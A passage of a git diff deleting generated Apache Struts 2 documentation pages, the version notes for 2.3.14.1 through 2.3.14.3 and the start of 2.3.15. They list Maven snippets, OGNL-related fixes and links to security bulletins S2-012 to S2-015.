-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31818624">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31818624">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31818624">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31818624">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.14.1 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-2314.html">Version Notes 2.3.14</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.14.1&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.3.14.1-InternalChanges">Internal Changes</h2>
-
-<ul><li>OGNL eval expressions has been disabled by default.</li></ul>
-
-
-<h3 id="VersionNotes2.3.14.1-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311041&amp;version=12324329">JIRA Release Notes 2.3.14.1</a></li><li><a shape="rect" href="s2-012.html">Security Bulletin S2-012</a></li><li><a shape="rect" href="s2-013.html">Security Bulletin S2-013</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.14.1-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12323897">Struts 2.3.14.1 DONE</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12323783">Struts 2.3.15 TODO</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12318399">Struts 2.3.x TODO</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.14.1-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-23142.html b/content/docs/version-notes-23142.html
deleted file mode 100644
index 69ab599..0000000
--- a/content/docs/version-notes-23142.html
+++ /dev/null
@@ -1,204 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.14.2</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-23142.html">Version Notes 2.3.14.2</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.14.2</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31822595">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31822595">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31822595">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31822595">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31822595">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31822595">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.14.2 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-23141.html">Version Notes 2.3.14.1</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.14.2&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.3.14.2-InternalChanges">Internal Changes</h2>
-
-<ul><li>OGNL evaluation for included URL parameters has been dropped</li></ul>
-
-
-<h3 id="VersionNotes2.3.14.2-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311041&amp;version=12324547">JIRA Release Notes 2.3.14.2</a></li><li><a shape="rect" href="s2-014.html">Security Bulletin S2-014</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.14.2-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12324170">Struts 2.3.14.2 DONE</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12323783">Struts 2.3.15 TODO</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12318399">Struts 2.3.x TODO</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.14.2-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-23143.html b/content/docs/version-notes-23143.html
deleted file mode 100644
index 81bdf34..0000000
--- a/content/docs/version-notes-23143.html
+++ /dev/null
@@ -1,204 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.14.3</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-23143.html">Version Notes 2.3.14.3</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.14.3</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31823655">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31823655">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31823655">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31823655">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31823655">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31823655">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.14.3 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-23143.html">Version Notes 2.3.14.3</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.14.3&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.3.14.3-InternalChanges">Internal Changes</h2>
-
-<ul><li>Whitelisting of actions' names was introduced and double evaluation of OGNL expression was removed.</li></ul>
-
-
-<h3 id="VersionNotes2.3.14.3-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?version=12324579&amp;projectId=12311041">JIRA Release Notes 2.3.14.3</a></li><li><a shape="rect" href="s2-015.html">Security Bulletin S2-015</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.14.3-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12324236">Struts 2.3.14.3 DONE</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12323783">Struts 2.3.15 TODO</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12318399">Struts 2.3.x TODO</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.14.3-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2315.html b/content/docs/version-notes-2315.html
deleted file mode 100644
index 50289d1..0000000
--- a/content/docs/version-notes-2315.html
+++ /dev/null
@@ -1,204 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.15</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2315.html">Version Notes 2.3.15</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.15</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31822529">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31822529">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
